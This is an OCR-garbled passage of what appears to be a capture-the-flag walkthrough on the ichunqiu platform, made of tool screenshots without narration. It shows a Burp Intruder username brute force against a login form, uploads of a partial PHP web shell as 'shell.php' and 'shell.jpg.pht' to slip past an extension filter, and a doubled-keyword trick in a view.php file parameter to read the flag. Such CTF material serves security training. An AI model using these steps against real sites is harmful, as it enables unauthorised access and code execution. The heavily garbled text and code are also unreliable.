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<!DOCTYPE html>
<html>
<head>
<{meta charset="utf-8" />
<titleeRERCtitle>
</head>
<body>
<{center>
<A S R ITER /e
<form action="" method="P0ST">
<input type="text” name="username” placeholder= P&’ />
<br /y<br />
<input type="password” name="password” placeholder= FEF% />
<br /> <br />
<input type="submit’ name="submit” value="BH" />

[fFuser. phpH —>
Bl SR P52 HH H40: zhangwei 1999 B

</ Aorm
</center>
</body>
</html>

<br /><br /><center>
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[ Target ]'Positims I Payloads ]’ Options ]

@ Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details.

Attack type: {Snlper |v]

POST /login. php HTTR/1.1 : Add §
Host: abdf08e6092¢462bb0664c218a3chbaedfbeaicelfcad3lb. changame. ichungiu. com —
User-Agent: Mozilla/5.0 (Windows NT 10.0:; Winf4: x64: rv:69.0) Gecko/20100101 Firefox/69.0 Clear §
Accept: text/html, application/zhtml+xml, application/zml;q=0. 9, */#;9=0. 8 ————
Accept-Language: zh-CH, zh:q=0. 8, zh-TW;q=0. 7, zh-HK ;:q=0. 5, en-US;q=0. 3, en;q=0. 2 &J
Accept-Encoding: gzip, deflate P —
Content-Type: application/z-www-form-urlencoded ;J

Content-Length: 51

Connection: close

Referer: http://a5df08e6092c462bb0664c218a3chbac8fteaiceldcadilh. changame. ichungiu. com/login. php
Cookie: __Jjsluid h=a54065130635142f0926db754585e738; PHPSESSID=1c2tiTTr3v3ib6vtGoadT4chel
Upgrade-Insecure-Requests: 1

username¥ § 123 §passwordf § 123 § 1990 submit=96ET969996BB96E596BD9695|
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# Intruder attack 6

@ Payload Positions Attack Save Columns

Configure the positions where payloads will be inserted j Results TTarget I Positions I Payloads I Options ]
details.

l'_q | Filter: Showing all items |®
Bttark tuna- | Rattarina ram |




=TT

L = } Request | Payload | Status | Error | Timeout | Length Y| Comment
POST /login. php HTTP/L. 1 311 [ lxuyun 200 0 U 1 ] i
Host: abdf(08e6092c462bb0664c218a3ch]| 0 200 J L] 1009
User-Agent: Mozilla/5.0 (Windows HNT||1 zhangwei 200 ] [J 1009
Accept: text/html, application/xhtmly 2 wangwei 200 0] ] 1009
Accept-Language: zh-CHN, zh:g=0. §, zh-||3 wangfang 200 ] ] 1009
Accept-Encoding: gzip, deflate 4 liwei 200 d 1009
Content-Type: application/x-www—fory 6 zhangmin 200 0] ] 1009
Content-Length: 51 ] lina 200 O ] 1009
Connection: close 7 lijing 200 ] [J 1009
Referer: http://abdf08e6092c462bb06!| 8 wangjing 200 0] [ 1009 :
Cookie: __ jsluid_h=ab4065130635142f o
Upegrade-Insecure-Requests: 1 Request | Response

Raw | Params | Headers | Hex

username= § 123 § &password= § 123 § 19

POST /login.php HITP/1.1

Host: abdf08e6092c462bb0664c218a3chbas8fbeascel9cad3lb. changame. ichungiu com
User-Agent: Mozilla/5. 0 (Windows NT 10.0: Win64: x64: rv:69.0) Geeko/20100101
Firefox/69. 0

Accept: text/html, application/xhtml+xml, application/xml;g=0. 9, */*;g=0.8
Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK ;q=0. 5, en-US;q=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/x—www-form—urlencoded

Content-Length: 65

Comnection: close

Referer:
http://abdf08e6092c462bb0664c218a3chbassfieadce09cad3lb. changame. ichungiu. com/login. php
Cookie: _ jsluid_h=a54065130835142f0026dhT54585e738; PHPSESSID=ic2tiTTr3v3iib6vtBoadTdchel
Uperade-Insecure-Requests: 1
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<IDOCTYPE html>

<html>

<head>
<meta charset="utf-8" />
<titled A diad/title>

</head>

<body>

<center>

@ a5df08e6092c462bb0664c218a3cbbae8ibeasce09ca431b.changame.ichungiu.com

Finished |
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(1) view-source:http://a5df08e6092c462bb0664c218a3cbbaedfbeatce09cadd1b.changame.ichungiu.com/
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<!-— <form action="" method="POST” enctype="multipart/form-data”>

<input type="file” name="file” />

<input type="submit” name="submit” value="F{£" />

<form>» —>

Center
</body>
</htmlf
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@ filey///C:/Users/48531/Desktop/Fiz A rihtml

FEE... | shell.php &
A
Go Cancel < |v > Target: http:/la5df08e6092c462bb0664c218alchbaedfbeabcel9cadd1b.ch h
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
POST / HTTP/1.1 [% HTTP/1.1 200 OK
Host: Date: Fri, 11 Oct 2019 08:34:06 GMT

ahdf08e6092c462bb0654c218a3chbas8fbeabce09cad31h. changame. ichungi
u. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64: rv:69.0)
Gecko/20100101 Firefox/69.0

Accept:

text/html, application/xhtml+xml, application/xml ;q=0. 9, */*:q=0. 8
Accept-Language:

zh-Cl, zh;q=0. 8, zh-TW;q=0. 7, zh-HK ; g=0. 5, en-US;g=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary= 18467633426500
Content-Length: 955
Connection: close

Cookie: _ jsluid h=a54065130635142£0926dbT54585e738 ;
PHPSESSID=1c2t17Tr3v3ib6vtboasTdchel

Upgrade-Insecure-Requests: 1

3/
18467633426500

Content-Disposition: form-data; name="file”; filename="shell.php”
Content-Type: application/octet-stream
<?php
@error_reporting (0) ;
session start() ;
if (isset($ GET[ pass' 1))
{

Fkev=substr (md5 (unigid(rand())), 16) :

$ SESSIONC k' 1=Fkev :

print $kev;
}
else
{ v
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Go Cancel < |* > |

Content-Type: text/html;charset=utf-8
Content-Length: 393

Cormection: close

Vary: Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache—Control: no-store, no—cache, must-revalidate
post—check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

X-Via-JSL: 7237958, -

X-Cache: bypass

{!DOCTYPE html>

<html>

<head>
<meta charset="utf-8" />
<titlex M Arfaled/titler

</head>

<body>

{center>

- FEERAGELE -

(/== <form action=""" method="POST"

enctype="multipart/form-data”>
<input type="file” name="file” />
<input type="submit” name="submit”
</form> ——>
</center>
<body>
</html>

Rt 1%, ipe, . png, . gif, . bmp & 4 304

Target: http://a5df08e6092c462bb0664c218a3chbaedibeadcel9cadi1b.changame.ichungiu.com / @

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
POST / HTTP/1.1 [a HITP/1.1 200 OK
Host: Date: Fri, 11 Oct 2019 08:35:39 GMT

abdf08e6092c462bb0664c218a3chfaetifeaice0dcad3lb. changame. ichungi
u. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: x64: rv:69.0)
Gecko/20100101 Firefox/69.0

Accept:

L L I g O T LI I e R I A TR A et a T )

Content-Type: text/html;charset=utf-8
Content-Length: 365

Cormection: close

Varv: Accept-Encoding

Expires: Thu

PP RO, PRI I

19 Nov 1981 08:52:00 GMT
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LEXL/IILIL, dppPllCdLlOly AIILIMLTANL, dppPLlCd Loy il =W 2, =/ 7 (-, O
Accept-Language:

zh-Cl, zh;q=0. 8, zh-TW;q=0. 7, zh-HK ;g=0. 5, en-US;q=0. 3, en;g=0. 2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form—data:

boundary= 18467633426500
Content-Length: 959
Comnection: close

Cookie: __jsluid h=a54065130635142f0926dbT54585eT38;
PHPSESSID=ic2ti7Tr3v3ibbvtéoadT4chel
Upgrade-Insecure-Requests: 1 1]

18467633426500
Content-Disposition: form-data; name="file";
filename="shell. jpg. pht”

Content-Type: application/octet-stream

<php

@error_reporting (0) ;
session_start() :

if (isset($_GET[ pass' 1))

0 matches

® EJ EJ EJ Type a search term

MR ABT ARG, Bishelfid N1

dile woriLrol, o sLore,
post-check=0, pre-check=0
Pragma: no-cache

Varv: Accept-Encoding
X-Via-JSL: 7237956, -
X-Cache: bypass

no-cdacile, NUusL revdliddue,

<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8" />
<titlex M Aruled/titler

<fhead>

<body>

{center>

<= {J-f/;:',.f,.{,‘,i:,;-g"""ﬁljfjf','? -7

<!-= <form action="" method="POST”

enctype="multipart/form-data”>
Cinput type="file” name="file” />
Cinput type="submit” name="submit”
</form> ——>

value=" (" />

{ <fcenter>
$kev=substr (md5 (uniqid(rand())), 16) ; </body> /
$_SESSION[' k' I=fkey ; </ht1111>|
print $key:

: [ctrmzran |

else F
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!0 matches

Go Cancel < |* > Target: http://a5df08e6092c462bb0664c218a3cbbaedféeadceldcadd1b.ch ichungiu.com /(
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML }’ Render ]
POST / HTTIP/1.1 : HTTP/1.1 200 OK
Host: Date: Fri, 11 Oct 2019 08:36:38 GMT
abdf08e6092c462bb0664c218a3chbaedfbeascelfcad3lhb. changame. ichungi Content-Type: text/html:charset=utf-8
. com Content-Length: 372
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winbf4; x=64; rv:69.0) Comnection: close
Gecko/20100101 Firefox/69.0 Vary: Accept-Encoding
Accept: Expires: Thu, 19 Nov 1981 08:52:00 GMT
text/html, application/zhtml+zml, application/xml;q=0. 9, */%;g=0. 8 Cache—Control: no-store, no-cache, must-revalidate,
Accept-Lansuage: post-check=0, pre-check=0
zh-Cll, zh;q=0. 8, zh-TW;q=0. 7, zh-HK ;q=0. 5, en-US;q=0. 3, en:q=0. 2 Pragma: no-cache
Accept-Encoding: gzip, deflate Varv: Accept-Encoding
Content-Type: multipart/form-data: X-Via-JSL: 7237956, -
boundary= 18467633426500 X-Cache: bypass
Content-Length: 310
Connection: close <!DOCTYPE html>
Cockie: __ jsluid_h=aB4065130635142f0926dbT54585.738; <html>
PHPSESSID=ic2ti7Tr3v3ibbvtBoadT4chel <head>
Upgrade-Insecure-Requests: 1 <meta charset="utf-8" />
itlex i~ Al d/title>
18467633426500 </head>
Content-Disposition: form-data; name="file”; <body>
filename="shell. jpg. pht” <center>
Content-Type: application/octet-stream < fFER B L -
<!== <form action="" method="POST”
enctype="multipart/form-data”>
18467633426500 <input type="file” name="file” />
Content-Disposition: form-data: name="submit” <input type="submit” name="submit” value="F{£" /
<fform> ——>
1% </center>
18467633426500—— </body>
</html>
L <a href='|;view. php"}iew(/a)
Al
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@ a5df08e6092c462bb0664c218a3cbbae8foeabce09cad3 1b.changame.ichungiu.com/view.php




#orfile?
HEHiE: view.php?file=flag

(— - ¢ @ ® anf0866092c462bb0664c218a3cb63€8f6935ce09ca431b.changame.ichunqiu.con'tview.php?file:ﬂag
¥ B & =swE Qpams -

filter "flag”

Ronflaghtidig, HENF SR

(— - ¢ @ ® anf0866092c462bb0664c218a3cb63€816ea5ce09ca431b.changame‘ichunqiu.conIview.php?file=ﬂf|agag
B B w==ma QwramEy
<?php

echo 'flag is here ;
' flag(ef7551bb-e96f4ed0-bc00-5b19bad045bc) — ;
i

Z3flag
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